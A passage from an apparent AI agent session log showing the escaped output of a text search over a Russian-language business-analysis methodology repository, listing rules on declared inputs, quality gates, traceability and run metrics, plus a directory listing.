`MM-4` |\\nba-meta-model/20-taxonomy.md:264:| `C-RK` | \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c | [`orchestration/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/00-introduction.md), `MM-3` |\\nba-meta-model/30-decision-framework.md:141:| `SK-9` | \u041f\u043e\u043b\u0435 `interaction` (`DP-4`, `FM-1`) \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438 **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f**: `dialog`, \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u0447\u043a\u0443 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0445\ufffd\\nba-meta-model/30-decision-framework.md:164:product_class: contact-center    # \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 (MM-4)\\nba-meta-model/40-practice-and-cases.md:38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\nba-meta-model/40-practice-and-cases.md:163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\\nba-meta-model/40-practice-and-cases.md:164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\nba-meta-model/40-practice-and-cases.md:165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\nba-meta-model/40-practice-and-cases.md:166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\nba-meta-model/40-practice-and-cases.md:167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\ufffd\\nba-meta-model/40-practice-and-cases.md:174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\nba-meta-model/40-practice-and-cases.md:177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\nba-meta-model/40-practice-and-cases.md:181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\nba-meta-model/40-practice-and-cases.md:182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\nba-meta-model/40-practice-and-cases.md:189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\\nba-meta-model/40-practice-and-cases.md:194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \\nba-meta-model/40-practice-and-cases.md:215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\nba-meta-model:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\noperation-taxonomy\\nprocess-taxonomy\\nproduct-taxonomy\\n\\nba-meta-model/operation-taxonomy/:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\n\\nba-meta-model/process-taxonomy/:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\n\\nba-meta-model/product-taxonomy/:\\nmango-products.yaml\\ntelecom-products.yaml\",\n[2026-09-29T07:46:56.561Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:56.561Z] [INFO]       }\n[2026-09-29T07:46:56.561Z] [INFO]     ]\n[2026-09-29T07:46:56.561Z] [INFO]   },\n[2026-09-29T07:46:56.561Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:56.561Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:56.561Z] [INFO]   \"uuid\": \"979031c6-9922-46b9-97c8-1f6cedeebbed\",\n[2026-09-29T07:46:56.561Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:56.549Z\",\n[2026-09-29T07:46:56.561Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:56.561Z] [INFO]     \"stdout\": \"ba-meta-model/00-introduction.md:215:  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (`M-1 = 0.0`), \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u0430\u0445\\nba-meta-model/10-theory.md:67:| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\nba-meta-model/10-theory.md:117:\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SB-0`\u2013`SB-9` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `FM-1`\u2013`FM-5` \u2014\\nba-meta-model/10-theory.md:140:| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\ufffd\\nba-meta-model/10-theory.md:141:| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\ufffd\\nba-meta-model/10-theory.md:142:| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\ufffd\\nba-meta-model/10-theory.md:143:| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\\nba-meta-model/10-theory.md:145:`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\nba-meta-model/10-theory.md:214:| \u00ab\u0422\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u00bb \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u0432\u0441\u0451 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 | \u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0440\u0451\u0431\u0440\u0430\u043c `Trace`, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u0432 `MM-3`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u2014 \\nba-meta-model/20-taxonomy.md:62:| `A-TRACE` | \u0421\u043b\u0435\u0434 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438 | **\u043d\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u043d\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0430\u0442\u0430**, \u0430 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u0438\u043b\u0438 \u0433\u0440\u0430\u0444, \u0434\u0430\u044e\u0449\u0438\u0439 \u0441\u043a\u0432\u043e\u0437\u043d\u0443\u044e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c: \\nba-meta-model/20-taxonomy.md:163:| `PT-1` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 (`MM-4`), \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430. |\\nba-meta-model/20-taxonomy.md:187:| `DP-5` | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 `interaction` **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f: `dialog`, \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0445\ufffd\\nba-meta-model/20-taxonomy.md:245:| `GT-3` | \u0413\u0435\u0439\u0442 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d (`MM-2`). |\\nba-meta-model/20-taxonomy.md:260:| `C-IN` | \u0432\u0445\u043e\u0434 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0437\u0430\u0434\u0430\u0447\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a | `M0`, `MM-1`, `MM-4` |\\nba-meta-model/20-taxonomy.md:264:| `C-RK` | \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c | [`orchestration/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/00-introduction.md), `MM-3` |\\nba-meta-model/30-decision-framework.md:141:| `SK-9` | \u041f\u043e\u043b\u0435 `interaction` (`DP-4`, `FM-1`) \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438 **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f**: `dialog`, \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u0447\u043a\u0443 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0445\ufffd\\nba-meta-model/30-decision-framework.md:164:product_class: contact-center    # \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 (MM-4)\\nba-meta-model/40-practice-and-cases.md:38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\nba-meta-model/40-practice-and-cases.md:163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\\nba-meta-model/40-practice-and-cases.md:164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\nba-meta-model/40-practice-and-cases.md:165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\nba-meta-model/40-practice-and-cases.md:166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\nba-meta-model/40-practice-and-cases.md:167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\ufffd\\nba-meta-model/40-practice-and-cases.md:174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\nba-meta-model/40-practice-and-cases.md:177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\nba-meta-model/40-practice-and-cases.md:181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 